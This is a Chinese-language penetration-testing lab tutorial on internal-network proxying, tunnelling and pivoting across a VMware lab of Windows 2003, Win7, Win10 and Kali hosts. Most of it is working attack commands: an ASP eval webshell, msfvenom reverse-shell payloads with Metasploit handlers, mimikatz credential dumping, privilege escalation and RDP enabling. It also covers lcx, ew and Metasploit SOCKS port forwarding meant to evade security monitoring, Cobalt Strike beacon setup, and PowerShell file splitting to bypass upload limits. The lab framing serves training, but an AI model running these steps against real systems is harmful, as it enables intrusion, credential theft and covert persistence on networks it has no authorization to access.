目录
一、概念
1、核心概念区分
(1)代理
主要用于解决网络可达性问题。例如,主机A与C无法直接通信,但A与B、B与C均可通信。此时,A可通过B(代理/跳板)间接与C通信。
(2)隧道
主要用于解决协议被拦截的问题。当A与C之间的特定协议通信被防火墙等设备阻断时,可利用隧道技术将受限协议封装在允许的协议(如HTTP、DNS)中进行传输,从而绕过限制。
2、内网代理的两种模式
内网代理根据连接方向,主要分为正向连接和反向连接,并常结合端口转发技术。
(1)正向连接
①场景
目标服务器(A)拥有公网IP,攻击者(B)可直接访问。
②方式
B直接主动连接A上的木马或后门,从而控制A。
(2)反向连接
①场景
目标服务器(A)处于内网,无公网IP,B无法直接接入。
②方式
使A主动向外连接攻击者控制的公网服务器(B),从而建立控制通道,由B反向控制A。
(3)端口转发
①作用
将发送到某个端口的数据流量,透明地转发到另一个指定的端口或地址。
②应用
常与上述连接方式结合使用,用于绕过防火墙或安全设备的检测。
3、实战应用要点
在实际攻防或渗透测试中,正向连接易受目标出口防火墙策略的阻挡,因此反向连接更为常用和可靠。
内网安全设备通常会监控敏感端口(如22、3389、445等)的异常连接。通过端口转发,可以将对这些端口的访问流量转发到非敏感的高位端口,从而规避安全设备的规则检测,实现隐蔽通信。
二、环境要求
1、环境结构图

2、主机配置
(1)外网机
| 名称 | 值 |
|---|---|
| 操作系统 | Windows Server 2003 |
| 网卡1 IP(外网) | 192.168.179.144 |
| 网卡2 IP(LAN1) | 10.10.10.10 |
| 中间件 | phpStudy 2016 |
Step1 :在Vmware中的网卡配置,设置"网络连接"为"LAN区段",并添加区段为"一层内网"。

Step2 :在虚拟机中设置网卡2的IP

Step3 :启动PhpStudy,且端口号为90

(2)内网主机1
| 名称 | 值 |
|---|---|
| 操作系统 | Windows 7 |
| 网卡1 IP(LAN1) | 10.10.10.11 |
| 网卡2 IP(LAN2) | 20.20.20.1 |
| 中间件 | IIS 7 |
| 防火墙规则 | 仅支持访问Web,正向连接失效 |
Step1:在Vmware中的不同网卡设置"网络连接"
设置网卡1:

设置网卡2:

Step2:在虚拟机中设置网卡1的IP和网卡2的IP
设置网卡1:

设置网卡2:

Step3:设置防火墙规则
控制面板--->系统和安全--->Windows防火墙--->高级设置--->入站规则--->新建规则--->预定义--->万维网服务(HTTP)



万维网服务(HTTP)开启之后,防火墙只允许外部访问80端口。
Step4 :开启IIS
控制面板--->程序--->打开或关闭Windows功能

访问浏览器查看是否开启成功:

Step5 :验证配置后的效果
①在外网机(192.168.179.144)中的浏览器中,能成功访问并出现IIS7的页面,这说明防火墙策略配置合理;

②在外网机(192.168.179.144)中使用ping命令时,无法ping通。

Step6:在默认的80站点中,新建虚拟机目录、并新建ASP脚本
新建虚拟机目录:


说明:图中的别名是指网站的路径名,当别名设为test之后,那么对应的访问路径是http://10.10.10.11/test/。物理路径是指网页文件存放的位置。这两者都可以自定义!
新建ASP脚本:
bash
# 文件名为1.asp
<% eval request("test") %>

备注:在做内网渗透时,用于模拟此主机内存在一个可切入的漏洞。
(3)内网主机2
| 名称 | 值 |
|---|---|
| 操作系统 | Windows 10 |
| 网卡 IP(LAN2) | 20.20.20.2 |
| 防火墙规则 | 仅支持访问打印机,正向连接失效 |
Step1 :在Vmware中的网卡设置"网络连接"

Step2 :在虚拟机中设置网卡的IP

Step3 :开启SMB服务

Step4 :设置防火墙规则
控制面板--->系统和安全 --->Windows防火墙--->高级设置--->入站规则--->新建规则--->预定义--->文件和打印机共享



文件和打印机共享开启之后,防火墙只允许外部访问445端口。
(4)Kali攻击机
| 名称 | 值 |
|---|---|
| 操作系统 | Kali Linux 2023.4 |
| IP | 192.168.179.128 |
三、代理转发策略
1、思路
渗透的前提是双方能够建立通信。目前无法和win7建立通信,但是拿到了windows2003的权限,所以可以在Windows2003主机上面建立节点,作为跳板机去访问到内网。
2、LCX代理转发
Step1:进入Kali系统,并执行如下命令生成木马。
bash
$ msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.179.128 lport=4444 -f exe >su.exe

Step2:用webshell将木马上传都目标服务器(蚁剑为例)
备注:假定在外网机(192.168.179.144)中存在一些漏洞,被攻击者利用,并成功上传了一句话木马,此处的重点是利用内网代理和隧道技术,因此,如何利用Webshell暂时忽略。

Step3:MSF进入监听模式
bash
#输入命令设置本地监听,具体命令如下:启动msf:
$ msfconsole
#选择工具:
msf6 > use exploit/multi/handler
#设置攻击语句:
msf6 > set payload windows/meterpreter/reverse_tcp
#设置监听IP(注意IP地址是本地kali机器的IP地址):
msf6 > set lhost 192.168.179.128
#设置监听端口:
msf6 > set lport 4444
#开始监听:
msf6 > exploit #或者run
Step4 :在蚁剑中,进入虚拟终端调用上传的MSF木马

MSF上线之后,就可以调用MSF强大的功能模块去做渗透了。
Step5:收集信息并提权
在Kali机中进行如下操作:
bash
#调用mimikatz模块:
meterpreter > load mimikatz
#收集账号密码:
meterpreter > creds_all
#查看当前目标机器IP地址:
meterpreter > ipconfig
#需要提升为system权限:
meterpreter > getsystem
meterpreter > getuid

经过前面的信息收集之后我们发现目标存在两个IP地址,且网段不一样;因此可得:
10.0.0网段是目前我们可以使用浏览器可以访问的。
10.10.10网段是我们使用ping去访问,显示连接超时,于是我们可以判断10.10.10为内网网段。
Step6 :上传lcx.exe文件,从而使用此工具可进行端口转发

Step7:开启3389远程桌面
在Kali机中进行如此操作:
bash
#新版kali中运行这条命令即可
meterpreter > run post/windows/manage/enable_rdp

Step8:启动lcx工具
将目标机器的3389端口转发到攻击机的IP地址和自定义端口上。
Webshell上执⾏:
bash
# 将本机3389端⼝流量转 发到公⽹ip的2222端⼝上去
C:\phpStudy\WWW> lcx.exe -slave 192.168.179.1 2222 127.0.0.1 3389
在⾃⼰的攻击机命令行中执⾏:
bash
# 监听本地的2222端⼝将流量转发到1234
C:\ lcx.exe -listen 2222 1234

Step9 :攻击机打开远程桌面连接,直接连接本机的1234端口


此时我们远程连接目标服务器过程中,因为是将目标的3389端口的流量做了转发,所以可以避免被防护设备监听到流量异常,能让渗透测试更加隐秘和安全。
3、ew代理转发
(1)环境说明
ew也称为毒液,支持多平台运行(Windows、Linux、Mac等),可用于内网多级代理。
在内网中访问特定网站时的模样:

在非内网中,使用代理前,网站的显示是这样:

如何在非内网环境(外网)中也能访问到内网的网站呢?具体操作如下:
(2)执行内网渗透
Step1 :用webshell上传ew.exe(蚁剑为例)

Step2:将ew的Linux版本放在kali攻击机中,并启动ew的服务
bash
$ chmod +x ew_for_linux
#开启linux服务器版本的ew,将kali机器接受到的3389端口流量转发到1008端口(端口可自定义)
$ ./ew_for_linux -s rcsocks -l 1008 -e 1235

Step3:运行目标机中的ew.exe,连接攻击机的ew服务器端口。此处的攻击机为kali
bash
C:\phpStudy\WWW> ew.exe -s rssocks -d 192.168.179.128 -e 1235

Step4:打开Proxifier并配置代理
新建配置文件:

开始配置代理:

①代理服务器的设置

服务器地址为Kali机IP(192.168.179.128),端口号为1008,协议类型为SOCKS5。
②代理检测器的设置

目标主机:10.10.10.10(外网机的第二个网卡,也是接入内网其他主机的网卡的IP地址),端口为84(此处的端口指向的是外网机中已经部署好的Web项目)。
Step5 :访问内网的Web项目

结论:利用ew工具和Proxifier代理工具已成功访问内网项目。代理工具能否使用其他的,答案是可以,需要自行配置。 想要挂一个猫咪当然也是可以的!
(3)内容扩展
上述操作已顺利执行,也可无需ew_for_linux文件也能操作,具体如下:
①正向代理:
bash
#⽬标主机直接执⾏:(等待连接)
$ ew.exe-s ssocksd -l 1080
#在代理服务器中则输入ew.exe所在服务器的IP地址
②反向代理:
bash
#在攻击机上运⾏:
$ ew.exe -s rcsocks -l 1080 -e 888
#⽬标机器上执⾏:
$ ew.exe -s rssocks -d <攻击机IP地址> -e 888
4、使用MSF直接调用模块开启端口转发代理
部分工具容易被杀毒干掉,可不用相应的工具,直接使用kali系统的MSF调用模块开启端口转发代理。
(1)环境说明
在内网中访问特定网站时的模样:

在非内网中,使用代理前,网站的显示是这样:

在外网也能访问到内网项目的具体操作如下:
(2)执行内网渗透
Step1:使用MSF生成木马
bash
# 生成一个监听木马文件
$ msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.179.139 lport=4444 -f exe >su.exe
# 进入到MSF
$ msfconsole
msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set lhost 192.168.179.128
msf6 > set lport 4444
msf6 > exploit #或者run
Step2 :通过webshell管理工具(此处为蚁剑)上传到目标服务器。启动木马(即打开su.exe文件)


Step3:MSF会话上线之后,使用命令添加路由
bash
#查看路由
meterpreter > run autoroute -p
# 提示无任何路由被添加,需要添加路由
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] No routes have been added yet
#添加路由
meterpreter > run post/multi/manage/autoroute
[!] SESSION may not be compatible with this module:
[!] * incompatible session platform: windows
[*] Running module against OLDBOY-BFF81D0F
[*] Searching for subnets to autoroute.
# 如下提示是已成功添加的路由
[+] Route added to subnet 10.10.10.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 192.168.179.0/255.255.255.0 from host's routing table.
此时添加的路由是针对当前会话的路由,其他的程序和工具是没办法通过当前路由访问内网的,所以此时我们还需要添加相应的通信节点!
Step4:将当前会话放置到后台,调用相应的模块添加节点
bash
#将会话放置后台
meterpreter > background
[*] Backgrounding session 1...
#搜索相应的会话模块
msf6 exploit(multi/handler) > search socks
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/server/socks_proxy normal No SOCKS Proxy Server
1 auxiliary/server/socks_unc normal No SOCKS Proxy UNC Path Redirection
2 auxiliary/scanner/http/sockso_traversal 2012-03-14 normal No Sockso Music Host Server 1.5 Directory Traversal
Interact with a module by name or index. For example info 2, use 2 or use auxiliary/scanner/http/sockso_traversal
#添加节点的模块名为:auxiliary/server/socks_proxy
msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > options
Module options (auxiliary/server/socks_proxy):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
# SRVPORT表示端口,可自定义设置。
SRVPORT 1080 yes The port to listen on
# VERSION表示SOCKS的版本。
VERSION 5 yes The SOCKS version to use (Accepted: 4a, 5)
When VERSION is 5:
# 可自定义设置连接的用户和密码,默认为空,即无需校验就能直接连上
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no Proxy password for SOCKS5 listener
USERNAME no Proxy username for SOCKS5 listener
Auxiliary action:
Name Description
---- -----------
Proxy Run a SOCKS proxy server
View the full module info with the info, or info -d command.
# 设置好之后,开始启用代理节点
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server
Step5 :打开Proxifier并配置代理

①代理服务器的设置
服务器地址为Kali机IP(192.168.179.128),端口号为1080,协议类型为SOCKS5。
②代理检测器的设置
目标主机:10.10.10.10(外网机的第二个网卡,也是接入内网其他主机的网卡的IP地址),端口为83(此处的端口指向的是外网机中已经部署好的Web项目)。
注意:一定要将其他代理服务器先关闭或清除,否则容易和其他代理服务冲突!
Step6:代理成功之后,可直接在本地浏览器访问目标主机内网

5、Cobalt strike的代理转发通信
Step1:启动CS的Server端和Client端
Server端(Kali机中运行):
bash
$ cd /home/kali/tools/CS4.8 #切换到我们上传的CS4.8⽬录中
$ cd server #切换到server⽬录
#赋予服务端运⾏权限
$ chmod +x teamserver
$ chmod +x TeamServerImage
$ sudo ./teamserver 192.168.179.128 test #启动teamserver(服务端)IP地址为kali的地址,test为连接密码
[sudo] password for kali:
[*] Generating X509 certificate and keystore (for SSL)
Generating 3,072 bit RSA key pair and self-signed certificate (SHA384withRSA) with a validity of 90 days
for: CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, ST=Cyberspace, C=Earth
[*] Starting teamserver
[*] Team Server Version: 4.8 (Pwn3rs)
[*] Setting 'https.protocols' system property: SSLv3,SSLv2Hello,TLSv1,TLSv1.1,TLSv1.2,TLSv1.3
[*] Loading keystrokes.
[*] Loaded 0 keystrokes.
[*] Loading screenshots.
[*] Loaded 0 screenshots.
[*] Loading downloads.
[*] Loaded 0 downloads.
[*] Loading Windows error codes.
[*] Windows error codes loaded
[*] Loading hosted files
[*] Loaded 0 servers with hosted items
[*] Loading beacons
[*] Loaded 0 beacons
[+] Team server is up on 0.0.0.0:50050 # 默认端⼝是50050,且无地址限制
[*] SHA256 hash of SSL cert is: 44bc7fd1d9706b82bd047a8d1503d
Client端(Windows端运行):

用户名可任意设置。确认密码、IP和端口无误后单击"Connect"按钮。

Step2 :使用CS生成木马,通过webshell管理工具蚁剑上传到Windows2003运行上线

新增连接配置。名为NAT_1。

将其进行保存并取消x64位的勾选。

将保存好的文件(cs_1.exe)通过蚁剑上传至目标服务器。

在蚁剑的命令行终端中运行cs_1.exe。

可以看到CS已经成功上线了。

Step3 :CS选择"代理转发"点击"socks 代理";设置代理端口"自定义",点击确定


Step4 :打开Proxifier代理工具,新增代理服务器,填写IP地址和自定义的端口

IP地址:192.168.179.128
端口:43807
协议类型:SOCKS5
Step5 :设置代理规则:

Step6:代理之后,可直接访问内网网站

四、突破防火墙使win7上线
思路:根据网络环境可知,windows7是内网主机,是无法上网的,攻击机无法直接和它实现通信;可以通过代理进入到Windows2003机器的内网,而2003主机的内网环境是可以实现和win7的通信。目前已控制了Windows2003,那么可以通过Windows2003来实现和同一内网下的Windows7的通信。
1、正向连接
Step1 :新建本地监听器:pyload选择"Beacon TCP"


Beacon TCP:没有host值,默认为本地的监听器。
Step2 :使用新建的监听器生成木马


Step3 :利用webshell连接到目标主机(此处以蚁剑为例)

IP:10.10.10.11(此为win7的主机,也是win2003这个外网机可访问的内网机)
连接密码:test
连接类型:ASP
连接成功的必备条件:①成功启动了代理;②可在外网中访问到内网主机(10.10.10.11)的Web页面。
Step4:将大文件进行分批
说明:受环境的限制,在IIS的站点中,只能上传不超过100KB的数据,因此需要动用分批命令进行处理
bash
# 进入的文件所在目录
C:\> cd /d "<文件所在目录,需要自行替换>"
# 使用PowerShell分割文件(每个片段80KB)
C:\> powershell -command "$file=[System.IO.File]::ReadAllBytes('win7.exe'); $size=80KB; $part=0; for($i=0; $i -lt $file.Length; $i+=$size){$part++; [System.IO.File]::WriteAllBytes(('win7_part{0:000}.bin' -f $part), $file[$i..([Math]::Min($i+$size-1, $file.Length-1))])}"
Step5:利用webshell将分批文件上传到Win7的机器

Step6:在蚁剑的命令行终端中,合并分批的文件,并运行木马
操作命令:
bash
# 合并命令
c:\> copy /b win7_part*.bin win7.exe
# 运行木马
c:\> win7.exe

Step7:进入CS终端命令行输入命令,实现CS上线通信。
bash
$ connect 10.10.10.11 4444

因为win7防火墙设置了入站规则:万维网服务(HTTP),这种情况下防火墙通常只允许80端口访问,其他端口即使有开放,但是由于防火墙的阻止是不能产生连接的,因此后门的4444端⼝不会上线。
Step8:如果木马在主机内运行呢?且运行公网的访问的情况下
打开win7.exe,并允许公用网络访问:

在CS中输入命令进行连接:


结论:从图中看到,木马已成功上线,但这种方式是不可取的,一般情况下,哪位倒霉的用户会在自己的主机里面打开不明的文件呢!而之前通过在蚂蚁剑来中运行了木马,但并未成功上线,既然正向连接走不通,那么接下来选择反向连接。
2、反向连接
思路:先运行已上传的木马,一定要通过win7中的木马主动来找win2003,以实现反向连接。
Step1 :基于Win2003建立一个转发上线 ,即通过win2003进行转发上线


监听主机IP(Listen Host):10.10.10.10(Win2003这个外网机的第二网卡IP)
端口:4444
Step2 :根据这个反向连接去建立一个木马

新建之后得到了一个木马文件。
Step3:拆分木马文件,并上传木马到win7机当中
注意:①继续保持代理的正常运行,保证win2003中到win7的内网地址能够正常访问;②保证webshell能够正常连接。
bash
# 进入的文件所在目录
C:\> cd /d "<文件所在目录,需要自行替换>"
# 使用PowerShell分割文件(每个片段80KB)
C:\> powershell -command "$file=[System.IO.File]::ReadAllBytes('win7_reverse.exe'); $size=80KB; $part=0; for($i=0; $i -lt $file.Length; $i+=$size){$part++; [System.IO.File]::WriteAllBytes(('win7_reverse_part{0:000}.bin' -f $part), $file[$i..([Math]::Min($i+$size-1, $file.Length-1))])}"
Step6:在蚁剑的命令行终端中,合并分批的文件,并运行木马
操作命令:
bash
# 合并命令
c:\> copy /b win7_reverse_part*.bin win7_reverse.exe
# 运行木马
c:\> win7_reverse.exe


结论:通过图中的木马上线来看,反向连接看来更适合于此类场景的应用。
3、通过信息收集发现了win10机的IP
由于Windows 10主机必须通过Windows 7主机连接,但双方防火墙阻挡了正向和反向连接,因此只能使用SMB隧道通过445端口。
Step1 :打开"目标列表"

Step2 :扫描端口


发现了第二层内网的IP,即win10机的IP。如果想要攻入该主机,则需要进行各种信息采集,并提权,最终由CS通过生成SMB监听,打入内网。由于攻入内网需要收集到关键信息,例如用户名和密码等信息,需要一定的运行才能攻入。